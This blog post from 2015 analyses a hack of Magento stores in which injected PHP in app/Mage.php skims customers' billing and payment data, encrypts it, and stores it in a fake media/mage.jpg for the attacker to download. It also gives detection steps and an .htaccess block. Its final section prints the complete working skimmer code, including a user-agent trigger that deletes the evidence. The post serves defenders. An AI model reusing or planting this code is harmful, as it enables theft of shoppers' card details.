Magento “mage.jpg” Hack

March 30, 2015

Magento mage.jpg Hack

The “mage.jpg” Hack

The other day we received a support ticket form a client indicating that their developer ran a git status and saw a few files were modified that shouldn’t have been. After investigating it looks like a hacker had exploited a Magento core or Extension vulnerability and was able to inject some PHP code into their store. The code (seen below) was injected into the top of the app/Mage.php file and was no bueno.

How it Works

We’ve looked around and so far no one else has reported this hack. Here’s what it does:

  1. When an order is placed, your customers type in their credit card info during the billing process and submit the order. At that time:
    1. This info is sent through Magento to the app/Mage.php file where it decides what to do with it.
    2. Magento then decides based on your site’s configuration whether to use PayPal, Authorize.net, etc. etc. and pass the credit card details along.
  2. This hack infects the app/Mage.php file so it can listen for when a customer’s billing information slides across the desk for processing.
  3. When it recognizes payment details, it then quietly scrapes out all the billing details such as name, address, credit card number, etc. and then encrypts the result.
  4. When finished, it lets Magento go ahead and process the order as normal as if nothing else is different.
  5. It takes the encrypted data and prepends JPEG-1.1 then saves as a file called mage.jpg in your root Magento folder. This is tricky because if you try to download or open the .jpg it just appears to be a corrupted .jpg file.
  6. Now that your site has a file www.yoursite.com/media/mage.jpg that contains lots of encrypted billing details, the attacker can periodically access your site and try to download the mage.jpg file. Once they have the file, they simply decrypt the billing details and then they’ll have raw access to the payment information! Uh oh!
  7. Even trickier is that when they access your site to download file, they can visit your site in such a way that will trigger the hack to delete the mage.jpg file removing traces that anything is fishy.

How to Detect It

  1. Open up the file app/Mage.php and look at the contents of the file.
  2. The first few lines should be the standard Magento license notice that looks like this:
    <?php
    /**
    * Magento
    *
    * NOTICE OF LICENSE
    *
    * This source file is subject to the Open Software License (OSL 3.0)
    * that is bundled with this package in the file LICENSE.txt.
    * It is also available through the world-wide-web at this URL:
  3. If your file includes any code above that license notice, you might have an issue. Check with your developers to verify because even though it’s unlikely, your developers could have put some legitimate code at the top of that file. It’s not best practices, but could be the case.

How to Protect Against It

The bad mage.jpg hack code could have been added to your site a number of different ways. Here are just a few ways it could have been infected:

  • Magento core vulnerability
  • 3rd party extension vulnerability
  • FTP access hacked
  • cPanel access hacked
  • SSH access hacked
  • Malicious developer

Essentially as long as they modify your app/Mage.php file in some way, you can get infected.

After checking to see if your app/Mage.php file is infected, here is a simple step that can help slow down the would-be thief. By simply blocking access to any file named mage.jpg we can keep the hackers from being able to download the stolen data. This way even if they get their code into your site again after you’ve removed it, they might be able to scrape that billing info and save as mage.jpg but we’ll block them from being able to download it.

Just add these lines to the top of your .htaccess file:

## Block downloads for <code>media/mage.jpg</code> file to avoid security hack where file contains sniffed billing information
<Files media/mage.jpg>
Order Allow,Deny
Deny from all
</Files>

This will deny any request to download the file www.mywebsite.com/media/mage.jpg. There are many other ways to secure against this script, but this is a simple step that should do the trick. More importantly tighten up your store so you don’t get hacked in the first place!

The Raw mage.jpg Hack Code

This code has been modified slightly to protect the identity of the innocent. This code was found at the top of app/Mage.php just before the regular file contents:

<?PHP
$r0 = '/home/USER/public_html/media/mage.jpg';
$v1 = '93716518362';
$x2 = 'p8161ayx';
$z3 = "-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCqGKukO1De7zhZj6+H0qtjTkVxwTCpvKe4eCZ0\nFPqri0cb2JZfXJ/DgYSF6vUpwmJG8wVQZKjeGcjDOL5UlsuusFncCzWBQ7RKNUSesmQRMSGkVb1/\n3j+skZ6UtW+5u09lHNsj6tQ51s1SPrCBkedbNf0Tp0GbMJDyR4e9T04ZZwIDAQAB\n-----END PUBLIC KEY-----";
if (@$_SERVER['HTTP_USER_AGENT'] == 'Visbot/2.0 (+//www.visvo.com/en/webmasters.jsp;bot@visvo.com)') {
    if (isset($_GET[$x2])) {
        @unlink($r0);
        echo 'del ok';
    } else {
        echo 'Pong';
    }
    exit;
}
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
    $j4 = $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $j4 = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
    $j4 = @$_SERVER['REMOTE_ADDR'];
}
if (isset($_POST['billing'], $_POST['billing']['email'])) {
    $c5 = $j4 . ':' . $_POST['billing']['email'];
} elseif (isset($_POST['payment'])) {
    $c5 = $j4 . ':' . implode(':', $_POST['payment']);
} else {
    $c5 = null;
}
if ($c5) {
    $d6 = false;
    if (function_exists('openssl_get_publickey') && function_exists('openssl_public_encrypt') && function_exists('openssl_encrypt')) {
        $d6 = true;
    } elseif (function_exists('dl')) {
        $f7 = strtolower(substr(php_uname(), 0, 3));
        $t8 = 'php_openssl.' . ($f7 == 'win' ? 'dll' : 'so');
        @dl($t8);
        if (function_exists('openssl_get_publickey') && function_exists('openssl_public_encrypt') && function_exists('openssl_encrypt')) {
            $d6 = true;
        }
    }
    if ($d6) {
        $o9  = @openssl_get_publickey($z3);
        $d10 = 128;
        $g11 = '';
        $v12 = md5(md5(microtime()) . rand());
        $i13 = $v12;
        while ($i13) {
            $w14 = substr($i13, 0, $d10);
            $i13 = substr($i13, $d10);
            @openssl_public_encrypt($w14, $l15, $o9);
            $g11 .= $l15;
        }
        $v16 = @openssl_encrypt($c5, 'aes128', $v12);
        @openssl_free_key($o9);
        $c5 = $g11 . ':::SEP:::' . $v16;
    }
    $v1 = file_exists($r0) ? @filemtime($r0) : $v1;
    @file_put_contents($r0, 'JPEG-1.1' . base64_encode($c5), FILE_APPEND);
    @touch($r0, $v1, $v1);
}
?>

UPDATE

Mage Daily, a Magento news site, has also pointed out a great option to help find and patch security vulnerabilities. In their post on the mage.jpg hack they point out that Sucuri is a security service that can help identify potential vulnerabilities like php backdoors and the like. If you’ve found this code in your Magento system, it’s probably worth contacting them to help you find out how it got in there in the first place!